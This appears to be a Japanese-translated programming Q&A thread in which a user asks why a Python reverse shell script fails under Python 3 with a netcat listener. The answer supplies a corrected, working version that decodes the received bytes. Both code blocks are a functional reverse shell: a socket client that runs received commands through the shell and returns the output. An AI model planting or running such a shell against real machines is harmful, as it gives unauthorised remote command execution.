0

私のシェルスクリプト:

#!/usr/bin/python

import subprocess, socket

HOST = 'localhost'
PORT = 4444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))


while 1:
    data = s.recv(1024)
    if data == "quit": break
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,     stderr=subprocess.PIPE, stdin=subprocess.PIPE)


    stdoutput = proc.stdout.read() + proc.stderr.read()

    s.send(stdoutput)


s.close()

ポート 4444 でリッスンするために netcat を使用してnetcatいます。次に、このスクリプトを実行しますが、ipconfig何かを入力するnetcatと、シェルで次のエラーが発生します。

Traceback (most recent call last):
  File "C:\Users\Myname\Documents\shell.py", line 16, in <module>
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  File "C:\Python33\lib\subprocess.py", line 818, in __init__
    restore_signals, start_new_session)
  File "C:\Python33\lib\subprocess.py", line 1049, in _execute_child
    args = list2cmdline(args)
  File "C:\Python33\lib\subprocess.py", line 627, in list2cmdline
    needquote = (" " in arg) or ("\t" in arg) or not arg
TypeError: argument of type 'int' is not iterable
4

1 に答える 1

1

コードは Python 2.7 で完璧に動作します。しかし、それは Python3 で示されているエラーにつながります。Python 2.X では data = s.recv(1024) の戻り値は文字列ですが、Python 3.X ではバイトです。次のように、subprocess.Popen() で実行する前にデコードする必要があります。

#!/usr/bin/python

import subprocess, socket

HOST = 'localhost'
PORT = 4444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

while True:
    data = s.recv(1024).decode()
    if data == "quit\n": break
    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,     stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    stdoutput = proc.stdout.read() + proc.stderr.read()
    s.send(stdoutput)

s.close()

バイトをデコードするとき、それが ASCII でない場合、コーディング セットに依存します。

2 つの提案:

  1. 無限ループでは、読みやすさを向上させるために、while 1 の代わりに while True を使用することをお勧めします。

  2. netcat を使用してコマンドを送信している場合、受信した文字列は "\n" で終わります。したがって、 data == "quit" は常に false になります。

于 2013-04-14T15:55:58.690 に答える